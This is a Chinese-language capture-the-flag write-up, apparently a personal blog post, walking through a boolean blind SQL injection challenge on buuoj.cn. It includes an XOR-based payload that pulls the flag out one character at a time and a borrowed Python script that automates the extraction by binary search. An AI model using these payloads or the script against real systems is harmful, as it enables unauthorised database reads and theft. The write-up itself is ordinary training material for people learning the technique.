我们打开环境后发现这还是一道sql注入题
我首先随便试了一下,
先输入了0 显示Error Occured When Fetch Result.
输入1,显示Hello, glzjin wants a girlfriend.
2的话是Do you want to be my girlfriend?
3显示Error Occured When Fetch Result.
这应该是输入大于2的数据就出错了。我们再进行测试的时候发现它过滤了许多关键字
然后我在里什么都没输入,直接提交的话会出现bool(false),百度了一手,发现盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。而这种就是布尔的盲注
布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
Length()函数 返回字符串的长度 Substr()截取字符串 Ascii()返回字符的ascii码 sleep(n):将程序挂起一段时间 n为n秒 if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
这是进行布尔盲注的时候可能需要的一些函数,这时需要运用异或
然后我们用
1^1返回的是Hello, glzjin wants a girlfriend.
1^0返回的是Error Occured When Fetch Result.
然后我们可以通过上面的那些函数构造Pyload:
id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
这样回显就是正确的。
然后我查看了一手大佬的wp,看了一些人家写的脚本。
#!/usr/bin/python #-*-coding:utf-8 -*- import requests import re def flag_get(start,f,url): #确定start位的字符 a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))='+str(f)+'),0,1))' data = {'id': a } url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php' r= requests.post(url, data) s=r.text #print(s) if 'Hello' in s: return 1 else: return 0 def flag_find(start,f,url): #确定 a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))>'+str(f)+'),0,1))' data = {'id': a } url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php' r= requests.post(url, data) s=r.text #print(s) if 'Hello' in s: return 1 else: return 0 if __name__ == '__main__': url = 'http://bd11a3f9-cb7e-4933-9025-12632ffc00d0.node3.buuoj.cn/index.php' flag_kouhao=125 flag='' num=1 #从第num位开始爆破 while 1: start=32 #ascii的起始范围(10进制) last=126 #ascii的终止范围(10进制) mid=int((start+last)/2) while 1: if(flag_get(num,flag_kouhao,url)): flag=flag+'}' print('flag is :'+flag) exit(1) print('strat is '+str(start)) print(' mid is '+str(mid)) print('last is '+str(last)) print('****************************************') if(flag_find(num,mid,url)): start=mid mid=int((start+last)/2) if ((last-start)<5): break else: last=mid mid=int((start+last)/2) if ((last-start)<5): break print(start) print(last) print('****************************************') for i in range(start,last+1): print(i) if(flag_get(num,i,url)): f=chr(i) flag=flag+f print('****************************************') print(' num is '+str(num)) print('char is '+f) print('flag is '+flag) print('****************************************') break num=num+1 print(flag)
一开始跑的时候提示我
这样出错了。我也不知为什么。然后百度了一手,然后再试的时候结果就正确了。这一步让我很迷茫其实。